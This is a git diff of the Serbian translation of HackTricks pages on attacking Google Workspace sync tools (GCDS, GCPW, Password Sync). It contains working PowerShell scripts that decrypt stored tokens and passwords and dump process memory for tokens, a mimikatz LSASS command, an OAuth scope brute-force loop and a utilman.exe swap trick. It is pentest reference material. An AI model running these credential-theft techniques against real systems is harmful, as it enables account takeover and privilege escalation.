### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Otkrivanje najprivilegovanijih korisnika u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
|
||||
@@ -376,11 +376,11 @@ Alat za pronalaženje infrastrukture, fajlova i aplikacija kompanije (meta) na v
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox je alat za pronalaženje eksploatabilnih putanja napada u cloud infrastrukturi (trenutno podržani samo AWS i Azure, GCP dolazi uskoro).
|
||||
- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS i Azure, GCP dolazi uskoro).
|
||||
- To je alat za enumeraciju koji je namenjen da dopuni manuelni pentesting.
|
||||
- Ne kreira niti modifikuje bilo kakve podatke unutar cloud okruženja.
|
||||
|
||||
### Više lista cloud bezbednosnih alata
|
||||
### Više lista alata za cloud bezbednost
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Dakle, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
|
||||
> [!NOTE]
|
||||
> Da biste izvršili **MitM** na **`config-manager.exe`** binarnu datoteku, jednostavno dodajte sledeću liniju u `config.manager.vmoptions` datoteku: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
@@ -20,7 +20,7 @@ Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ak
|
||||
|
||||
### GCDS - Disk tokeni i AD akreditive
|
||||
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup po defaultu u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`** po defaultu. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
|
||||
|
||||
Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.
|
||||
|
||||
@@ -54,7 +54,7 @@ Napomena kako su **refresh** **token** i **password** korisnika **šifrovani** k
|
||||
<details>
|
||||
|
||||
<summary>Powershell skripta za dešifrovanje refresh tokena i lozinke</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -154,15 +154,15 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
|
||||
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
|
||||
|
||||
### GCDS - Ispis tokena iz memorije
|
||||
### GCDS - Ispisivanje tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisanih kredencijala.
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane akreditive.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispis procesa config-manager.exe i pretraga tokena</summary>
|
||||
```powershell
|
||||
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
|
||||
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GCDS - Opsezi
|
||||
### GCDS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji opseg za access token jer možete zatražiti samo **opsege koje podržava aplikacija u kojoj generišete access token**.
|
||||
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
|
||||
>
|
||||
> Takođe, refresh token nije važeći u svakoj aplikaciji.
|
||||
|
||||
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth opsezima, pa možemo koristiti sledeći skript da pronađemo opsege koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
Po defaultu, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash skript za brute-force opsege</summary>
|
||||
<summary>Bash skript za brute-force scope-ove</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
|
||||
@@ -11,7 +11,7 @@ Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnic
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao:
|
||||
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao što je:
|
||||
```http
|
||||
POST /oauth2/v4/token HTTP/2
|
||||
Host: www.googleapis.com
|
||||
@@ -27,10 +27,8 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Nova linija je dodata da bi se poboljšala čitljivost.
|
||||
|
||||
> [!NOTE]
|
||||
> Bilo je moguće izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Moguće je izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Ne zaboravite da **blokirate QUICK UDP** saobraćaj u `Proxifier` kako bi se prešao na TCP komunikaciju i mogli biste ga videti.
|
||||
>
|
||||
> Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
|
||||
@@ -40,7 +38,7 @@ Pored toga, dodavanjem ključeva `enable_verbose_logging = 1` i `log_file_path =
|
||||
### GCPW - Otisak prsta
|
||||
|
||||
Moguće je proveriti da li je GCPW instaliran na uređaju proverom da li postoji sledeći proces ili da li postoje sledeći registri:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -64,7 +62,7 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh token** ako se korisnik nedavno prijavio.
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh tokenu** ako se korisnik nedavno prijavio.
|
||||
|
||||
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su dozvoljeni za prijavu u ključeve `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
|
||||
|
||||
@@ -98,7 +96,7 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle.
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
|
||||
|
||||
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om direktno).
|
||||
|
||||
@@ -111,7 +109,7 @@ Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći
|
||||
<details>
|
||||
|
||||
<summary>Dobijte <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> podatke i dekriptujte refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -169,25 +167,25 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxH
|
||||
|
||||
### GCPW - Tokeni za osvežavanje diska
|
||||
|
||||
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dekripciju **`refresh_tokens`** koji se nalazi unutar **Google Chrome profila** korisnika kao što su:
|
||||
Datoteka **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
|
||||
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dekriptovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
|
||||
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
|
||||
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim ima [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
|
||||
|
||||
### GCPW - Ispisivanje tokena iz memorije procesa
|
||||
|
||||
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretragu** za stringovima vezanim za **access i refresh token**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
|
||||
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretraživanje** stringova povezanih sa **tokenima za pristup i osvežavanje**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati tokene za osvežavanje i/ili pristup u memoriji!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispisivanje Chrome procesa i pretraga tokena</summary>
|
||||
```powershell
|
||||
<summary>Ispisivanje Chrome procesa i pretraživanje tokena</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga, ovi dodatni opsezi se mogu pretpostaviti:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -591,7 +589,7 @@ Neki primeri korišćenja nekih od tih opsega:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -797,7 +795,7 @@ Više [API krajnjih tačaka u dokumentaciji](https://developers.google.com/vault
|
||||
|
||||
## GCPW - Oporavak lozinke u čistom tekstu
|
||||
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući šifrovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući enkriptovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
|
||||
@@ -13,11 +13,11 @@ Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći bina
|
||||
Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:
|
||||
|
||||
- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
|
||||
- Dostupno samo na kontrolerima domena sa GUI
|
||||
- Dati neke **akreditivne podatke Servisnog Naloga iz GCP-a** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
|
||||
- Dostupno samo na domen kontrolerima sa GUI
|
||||
- Dati neke **akreditivne podatke servisnog naloga iz GCP** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
|
||||
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
|
||||
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
|
||||
- Google to zahteva za kontrolisane domene bez GUI
|
||||
- Google to zahteva za domen kontrolisane bez GUI
|
||||
- Ovi akreditivi se takođe čuvaju u registru
|
||||
|
||||
Što se tiče AD-a, moguće je naznačiti da koristi trenutni **kontekst aplikacija, anonimno ili neke specifične akreditive**. Ako je opcija akreditiva izabrana, **korisničko ime** se čuva unutar fajla na **disku** a **lozinka** je **kriptovana** i čuva se u **registru**.
|
||||
@@ -31,9 +31,9 @@ U fajlu **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** moguće
|
||||
|
||||
U registru **`HKLM\Software\Google\Google Apps Password Sync`** moguće je pronaći **kriptovani refresh token** i **kriptovanu lozinku** za AD korisnika (ako ih ima). Štaviše, ako se umesto tokena koriste neki **SA akreditivi**, takođe je moguće pronaći te kriptovane u toj adresi registra. **Vrednosti** unutar ovog registra su dostupne samo **Administratorima**.
|
||||
|
||||
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Štaviše, takođe je kodiran koristeći base32hex sa rečnikom **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Vrednosti entropije su pronađene korišćenjem alata. Konfigurisano je da prati pozive ka **`CryptUnprotectData`** i **`CryptProtectData`** i zatim je alat korišćen za pokretanje i praćenje `PasswordSync.exe` koji će dekriptovati konfigurisanju lozinku i auth token na početku, a alat će **prikazati vrednosti za korišćenu entropiju** u oba slučaja:
|
||||
@@ -47,12 +47,12 @@ U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će bi
|
||||
### GPS - Ispisivanje tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći konfiguracione akreditive za AD.
|
||||
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispisivanje <code>PasswordSync.exe</code> i <code>password_sync_service.exe</code> procesa i pretraga tokena</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -148,7 +148,7 @@ Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ov
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash skript za brute-force scope-ove</summary>
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
Koji je isti kao onaj koji dobijate ako ne navedete nikakav opseg.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa ovim opsegom možete **modifikovati lozinku postojećeg korisnika kako biste eskalirali privilegije**.
|
||||
> Sa ovim opsegom možete **izmeniti lozinku postojećeg korisnika kako biste eskalirali privilegije**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user